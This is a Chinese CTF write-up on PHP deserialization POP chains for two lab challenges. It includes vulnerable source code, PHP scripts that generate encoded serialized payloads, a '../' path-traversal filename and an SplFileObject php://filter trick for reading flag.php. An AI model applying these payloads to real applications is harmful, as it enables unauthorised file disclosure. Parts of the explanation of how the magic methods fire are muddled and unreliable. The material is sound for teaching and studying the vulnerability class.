关于POP链
POP链是⼀种⾯向属性编程,常⽤于构造调⽤链的⽅法。
PHP反序列化攻击是一种常见的Web攻击,攻击者通过构造恶意的序列化数据,将其传递给目标服务器,从而导致服务器执行非预期的操作。而Pop链则是一种利用PHP反序列化漏洞的攻击方式,可以在未授权的情况下执行任意代码。在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming)。
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。
Pop链的基本思路是,通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的。Pop链通常是由多个对象序列化数据组成的,每个对象都包含着下一个对象的引用。当程序反序列化第一个对象时,就会自动解析其中的引用,并继续反序列化下一个对象,以此类推,最终执行攻击者希望执行的代码。
[第五空间 2021]pklovecloud
打开环境,进行代码审计
<?php
// 包含 flag.php 文件,但不会在此显示其内容
include 'flag.php';
// 定义一个名为 pkshow 的类
class pkshow
{
// 定义一个名为 echo_name 的方法,返回字符串 "Pk very safe^.^"
function echo_name()
{
return "Pk very safe^.^";
}
}
// 定义一个名为 acp 的类
class acp
{
// 声明一个受保护的属性 $cinder 和两个公共属性 $neutron 和 $nova
protected $cinder;
public $neutron;
public $nova;
// 构造函数,创建一个 pkshow 对象并将其分配给 $cinder 属性
function __construct()
{
$this->cinder = new pkshow;
}
// 将对象转换为字符串时调用的魔术方法
function __toString()
{
// 如果 $cinder 属性已设置,则返回 $cinder 对象的 echo_name 方法的结果
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
// 定义一个名为 ace 的类
class ace
{
// 声明三个公共属性 $filename、$openstack 和 $docker
public $filename;
public $openstack;
public $docker;
// 定义一个名为 echo_name 的方法
function echo_name()
{
// 反序列化 $docker 属性并将结果赋值给 $openstack 属性
$this->openstack = unserialize($this->docker);
// 将未定义的变量 $heat 赋值给 $openstack->neutron
$this->openstack->neutron = $heat;
// 如果 $openstack->neutron 等于 $openstack->nova
if($this->openstack->neutron === $this->openstack->nova)
{
// 构造文件路径
$file = "./{$this->filename}";
// 如果能够读取文件内容
if (file_get_contents($file))
{
// 返回文件内容
return file_get_contents($file);
}
else
{
// 文件不存在时返回 "keystone lost~"
return "keystone lost~";
}
}
}
}
// 如果 GET 请求中包含参数 pks
if (isset($_GET['pks']))
{
// 反序列化 pks 参数并将结果赋值给 $logData 变量
$logData = unserialize($_GET['pks']);
// 输出 $logData 变量的内容
echo $logData;
}
else
{
// 如果没有 pks 参数,则显示当前文件的源代码
highlight_file(__file__);
}
?>
这一题我们需要构造pop链,既然要构造pop链,我们就要找到链头和链尾(从链尾在到链头,一步一步的看,这样就思路清晰了)
我们先去找链尾,我们需要通过这个file_get_contents()函数来获得flag。但是如果我们想要触发file_get_contents()函数的条件就是需要触发ace中的echo_name()函数,我们接着找echo_name()函数,在acp中的__toString()魔术方法中找到了echo_name()函数,因此,如果我们要触发ace中的echo_name()函数的话,就需要触发acp中的__toString()魔术方法并使 acp $this->cinder = new ace(),从而调用到echo_name()函数再触发file_get_contents()函数得到flag.php。那么,我们该怎么触发acp中的__toString()魔术方法呢,别忘了,在源代码中,还有一个魔术方法:__construct()魔术方法,
acp 实例化时会自动调用 __construct(),我们可以通过
__construct这个构造函数去触发_toString方法,成功调用echo_name()函数。最终得到flag。
关于file_get_contents() 函数
file_get_contents() 函数是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。
__toString()魔术方法
__toString()魔术方法用于在尝试将一个对象转换为字符串时自动调用。当你尝试直接在代码中将一个对象作为字符串输出时,PHP 将会查找该对象是否有定义了 __toString()
方法,如果有,就会自动调用这个方法来返回对象的字符串表示形式。
__construct()魔术方法
__construct()魔术方法是php中常见的魔术方法,用于在创建一个新对象实例时自动调用。它是类的构造函数,负责执行对象的初始化操作,比如设置对象的属性或执行必要的设置。当你使用 new关键字创建一个类的新实例时,PHP会自动调用该类中的 __construct()
方法。
基本思路就是这样,所以我们的pop链为:
acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)
但是关于这一题我们还有一个点,就是需要满足$this->openstack->neutron === $this->openstack->nova
因为第一次遇见,去看了很对师傅们的WP,学到了几种方法,其中我觉的最简单的也最容易理解的方法是:
别忘了我们还有一个从未出现的变量$heat,我们可以发现$heat变量是没有被赋值的,那么他就是空的,我们既然要满足
$this->openstack->neutron === $this->openstack->nova,那让$nova为空不就行了么,因此我们构造php:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova=null;
function __construct()
{
$this->cinder = new ace();
}
}
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker;
}
$a = new acp();
echo serialize($a);
?>
构造出来后,我们发现有不可见字符,那我们再对他进行一次url编码就可以了
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova=null;
function __construct()
{
$this->cinder = new ace();
}
}
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>
得到
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
构造url:
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
什么都没有。。。。在源代码里发现了秘密
我们知道了falg的位置,flag在/nssctfasdasdflag里,那我们修改一下filename的值就可以了
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova=null;
function __construct()
{
$this->cinder = new ace();
}
}
class ace
{
public $filename = 'nssctfasdasdflag';
public $openstack;
public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>
得到
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
嗯。。。。是为什么呢,看了WP才知道,是因为不存在/nssctfasdasdflag,那我们查看一下上一级目录
../nssctfasdasdflag
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova=null;
function __construct()
{
$this->cinder = new ace();
}
}
class ace
{
public $filename = '../nssctfasdasdflag';
public $openstack;
public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
?>
得到
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到了flag
[GDOUCTF 2023]反方向的钟
打开环境,代码审计,也是需要构造pop链的一道反序列化题
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
还是和之前一样,我们先从尾巴开始找:
找到了关键点school类中的IPO()方法, echo new $_POST['a']($_POST['b']);
POST请求利用原生类SplFileObject读取文件
接着往后面看,要调用IPO(),就需要在__wake()下,又要先执行hahaha(),接着往上面找hahaha(),在classroom类中找到了hahaha(),需要对三个变量赋值:$this->name != 'one class'、$this->leader->name != 'ing'、$this->leader->rank !='department'
则返回为真,可以看见后面两个变量
leader指向name和rank的值,name和rank都在teacher类里,因此我们要实例化该类并赋值给leader,$leader=new teacher()
大致思路就是这样,所以我们的pop链为:
teacher->classroom:hahaha()->classroom:__wakeup()->IPO()
接着我们构造php:
<?php
class teacher{
public $name = 'ing';
public $rank = 'department';
private $salary;
}
class classroom{
public $name = 'one class';
public $leader;
}
class school{
public $department;
public $headmaster = 'ong';
}
$a=new school();
$a->department=new classroom();
$a->department->leader=new teacher();
echo base64_encode(serialize($a));
?>
得到
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
构造url:
?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
并使用POST传参
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
再进行base64解码得到flag
关于SplFileObject
SplFileObject是 PHP 中的一个类,它提供了一个面向对象的接口,用于读取和写入文件。它是标准 PHP 库 (SPL) 的一部分,相比传统的文件处理函数(如 fopen()
、fwrite()
等),它提供了更多功能和灵活性。
通过 SplFileObject
,你可以轻松地迭代文件中的行,读取或写入数据块,操作文件指针,并使用面向对象的语法执行其他文件相关的操作。
去看了很多师傅们的博客,但是感觉不是很懂,感觉这一篇让我又一点点感觉